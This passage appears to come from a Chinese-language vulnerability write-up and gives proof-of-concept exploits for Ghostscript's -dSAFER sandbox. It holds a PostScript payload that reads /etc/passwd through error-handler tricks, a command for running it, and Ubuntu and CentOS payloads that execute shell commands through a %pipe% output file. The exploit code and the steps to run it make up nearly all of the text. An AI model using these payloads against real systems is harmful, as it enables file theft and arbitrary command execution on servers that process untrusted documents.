/FileToSteal (/etc/passwd) def errordict /undefinedfilename { FileToSteal % save the undefined name } put errordict /undefined { (STOLEN: ) print counttomark { ==only } repeat (\n) print FileToSteal } put errordict /invalidfileaccess { pop } put errordict /typecheck { pop } put FileToSteal (w) .tempfile statusdict begin 1 1 .setpagesize end quit
将以上poc保存为poc.ps文件,并执行以下命令。
1
gs -q -sDEVICE=ppmraw -dSAFER poc.ps
4.2命令执行
ubuntu poc:
1 2 3 4 5 6 7 8
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops
centos poc:
1 2 3 4 5 6
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops